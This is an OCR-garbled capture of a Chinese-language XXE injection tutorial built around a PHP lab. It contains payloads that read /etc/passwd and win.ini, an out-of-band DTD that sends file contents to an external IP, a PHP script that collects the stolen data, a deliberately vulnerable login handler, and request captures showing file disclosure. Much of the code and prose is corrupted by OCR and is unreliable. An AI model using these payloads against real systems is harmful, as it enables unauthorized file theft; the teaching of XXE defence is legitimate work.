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<?xml version="1.0" encoding="150-8859-1"2>
<!DOCTYPE foo [
<!ELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///etc/passwd" >]>

<foo>kxxe;</foo>
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=7Zxml version="1.0"7>

<I1DOCTYPE Rohit [

<IENTITY entityex SYSTEM "file:-///folder/file™ =
1=

<abc=&entityex;</abc>
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<!DOCTYPE #RoTE SYSTEM "3Z{&FS">
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<?php
$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1l.txt">]><scan>&test;</scan>’';
$obj = simplexml load string($test, 'SimpleXMLElement', LIBXML_NOENT);

print_r($obj);

?>
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php://filter/read=convert.base64-encode/resource=c:/1.txt

ARG TRATE 2 — AN Exml Bt xml (<IENTITY % remote SYSTEM "http://192.168.19.131/1 xml">)

<IENTITY % all

"<IENTITY &#x25; send SYSTEM 'http://120.203.13.75:8123/xxe/2.php?id=%file;"'>"
>

%all;
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<?php file_put_contents("3.txt",$_GET["id"],FILE_APPEND);?>

<IENTITY £k 47k SYSTEM “URVURL”>
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compress.zlib jar
compress.bzip2 netdoc
data mailto
glob gopher *
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libxml_disable_entity loader(true)
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1 POST /xxe-lab-master/php xzxe/doLogin.php HTTE/1.1

© Host: www.gohosts. com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: application/=ml, text/=ml, */*; gq=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;qg=0.7,zh-HK;g=0.5,en-US;qg=0.3,en;q=0.Z
o Accept-Encoding: gzip, deflate

7 Content-Type: application/zml;charset=utf-8

g ¥-Requested-With: XMLHttpRequest

% Content-Length: &7

10 origin: http://www.gohosts. con

11 Connection: close

12 referer: http://www.gohosts.com/xxe-lab-master/php xxe/

U e o

14 <user>
<username> /
MZYMZY
</username>
<password>

MZYymzy
</passwor d>\

</user>
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<?php
=VER]
* autor: cOnyl

* date: 2018-2-7
L/

S$USERNAME = 'ac
$PASSWORD = 'ad
Sresult = null;

libxml disable_entity_loader (false):
s¥xmlfile = file get_contents('r £/

?trYI
Sdom = new DOMDocument () ;



Sdom->1load¥ML (5xmlfile, LIBXML NOENT LIBXML DTDLOARD) ;
creds = simplexml import dom(Sdom);

Susername = Screds->username;
$password = $Screds->password;
= if(Susername == SUSERNAME && Spassword $PASSWORD) {
Sresult = sprintf("<result>< ult>",1, Susername);
jelse
Sresult = sprintf("<result>< ms 11t>", 0, Susername) ;
r }
}eatech (Exception Se) {
Sresult = sprintf("<result>-< e><msg>%s

F}

header ('Content-
echo Sresult;
L2>

ATUEH, BIARIKSZSARadmin

X BEEHxmISCAY, B DS phpth 3 (php:/finput) SR BUR 1% BIxmISCRY

Ja i if-else & HIBTE A AR & R, ERUMEAR usernamelX MrLs, FARKIERA Blusername, sEH THiH T, A
WAREE S [ ERRBUEET -

X BRI Epaylaod, B W& BES % fEusername B H

<?xml version="1.0"?>
<!DOCTYPE mzymzy [
<IENTITY test SYSTEM “"file:///c:/windows/win.ini">

1>

<user><username>&test;</username><password>mzymzy</password></user>
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1 POST /xxe-lab-master/php_xxe/doLogin.php HTTR/1.1 A 1 HTTR/1.1 200 OK

r

2 Host: www.gohosts.com

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&d; =x=64; rv:77.0) Gecko/Z01
Accept: application/zml, text/=ml, */*; g=0.01

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HE;q=0.5,en-US;q=0.3, en;q4
& Accept-Encoding: gzip, deflate

7 Content-Type: application/=zml;charset=utf-8

0 ¥-Requested-With: XMLHttpRequest

Date: Thu, 25 Jun Z02Z0 07:41:17 GMT

Server: Apache/Z.4.23 (Win3Z) OpenSsSL/1.0.23J PHE/5.4.45
¥-Powered-By: PHP/5.4.45

Content-Length: 127

Connection: close

Content-Type: text/html; charset=utf-8
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% Content-Length: 167 9 <result>
10 origin: http://www.gohosts.com <code>
11 Connection: close o
12 referer: http://www.gohosts.com/xxe-lab-master/php xxe/ </code>
13 <msg>
14 <?xml version="1.0"7> ; for 16-bit app support
15 <!DOCTYPE mzymzy [ 10 [fonts]
16 <!ENTITY test SYSTEM "file:///c:/windows/win.ini"> 11 [extensions]
17 1> 12 [mci extensions]
18 <user> 13 [files]
<username> 14 [Maill]
stest; is MAPI=1
</username> 16 </msg>
<password> </result>
MZYMzy
</password>
</user>
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